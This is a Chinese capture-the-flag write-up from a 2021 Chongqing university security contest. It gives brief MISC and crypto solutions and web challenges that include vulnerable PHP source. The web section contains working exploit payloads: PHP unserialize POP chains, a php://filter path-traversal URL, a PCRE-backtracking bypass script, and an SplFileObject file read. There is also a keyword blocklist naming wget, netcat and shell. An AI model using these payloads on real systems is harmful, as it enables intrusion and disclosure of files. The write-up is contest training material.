2021年“绿盟杯”重庆市大学生信息安全竞赛部分wp

QQ图片20211023150158

MISC(MISC和Crypto队友做的)

签到题

base64,找个网站解密一下就出来了

Huahua

解压后得到png图片,打不开,用winhex打开,发现文件头缺少了,添加png文件头,调整图片高度得到flag

Noise

解压后得到三个文件,发现

image-20211023153618684

这个文件有点可疑,联想noise改后缀为.wav,用Audacity打开此文件,

image-20211023153635846

image-20211023153627908

image-20211023153855943

cypto

签到2

根据古罗马提示得知是:凯撒密码其中为位移3

Easy-rsa

得知e,n,dp,c,求m

文本  描述已自动生成

跑出来结果为:

图形用户界面, 文本  描述已自动生成

WEB

flag在哪里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php
error_reporting(0);
class begin{
public $file;
public $mode;
public $content;
public $choice;
public function __construct()
{
$this->file = "file";
$this->content = "content";
}
function __wakeup()
{
if($this->mode=="write"){
$this->choice= new write();
}
if($this->mode=="read"){
$this->choice= new read();
}
}
// __call(),在对象中调用一个不可访问方法时调用
function __call($file,$content) {
// 利用点
highlight_file($this->file);
}
function __destruct(){

if($this->mode=="write"){
// 触发 __call
$this->choice->writewritetxt($this->file,$this->content);
}
else{
$this->choice->open($this->file);
}
}
}
class write{

public function writewritetxt($file,$content)
{
$filename=$file.".txt"; // 拼接了后缀
if(is_file($filename)){
unlink($filename);
}
// 利用点:不可利用
file_put_contents($filename, $content);
echo "成功写入";
}
}
class read{
public $file;
public function __construct(){
$this->file="test.txt";
echo "欢迎查看 ".$this->file."<br/>";
}
function open($filename){
$file=$this->file;
if(is_file($file)){
if($file=="getflag.php"){
die("getflag.php没东西");
}
else{
// 利用点:不可利用
// 伪协议读取:但是 if_file不通过就执行不了
//
highlight_file($file);
}
}else{
echo "文件不存在";
}
}
}
function check($dis_content){
if(preg_match('/system|eval|wget|exec|zip|passthru|netcat|phpinfo|`|shell|\(|\)/i', $dis_content)){
die("hack !!!");
}
}
$pop=$_GET['pop'];
if (isset($pop)) {
check($pop);
unserialize($pop);
} else {
highlight_file("index.php");
}
?>

payload

1
?pop=O:5:"begin":5:{s:4:"file";s:11:"getflag.php";s:4:"mode";s:5:"write";s:7:"content";s:0:"";s:6:"choice";O:5:"begin":4:{s:4:"file";s:11:"getflag.php";s:4:"mode";s:5:"write";s:7:"content";s:0:"";s:6:"choice";N;}}

mid

文件包含,使用php://filter在根目录包含出flag即可

1
http://119.61.19.212:57303/index.php?1=php://filter/read=convert.base64-encode/resource=../../../flag

寻宝奇兵

第一关:$hash可控 $users可控 $SECRET也知道
$users 随便传,只要不是explorer,再让$SECRET跟$users拼接,然后md5加密
将得到的结果通过$_COOKIE[“hash”]传入,将构造的$users传入,即可进入第二关。

第二关:参照 http://www.oriole.fun/index.php/archives/31/ 进入第三关

第三关:PCRE回溯次数绕过

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

data = {
'treasure': BytesIO(b'flag.php' + b' a' * 1000000)
}

res = requests.post('http://119.61.19.217:57305/treasure.php', data=data)
print(res.text)

Serialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);
highlight_file(__FILE__);

class Demo{
public $class;
public $user;
public function __construct()
{
$this->class = "safe";
$this->user = "ctfer";
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
}

public function __wakeup()
{
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
}

}
class safe{
var $user;
public function __construct($user)
{
$this->user = $user;
echo ("hello ".$this->user);
}
}


if(isset($_GET['data'])){
unserialize($_GET['data']);
}
else{
$demo=new Demo;

}

payload

1
data=O:4:"Demo":2:{s:5:"class";s:13:"SplFileObject";s:4:"user";s:8:"flag.php";}

原生类利用

http://www.wangqingzheng.com/anquanke/82/238482.html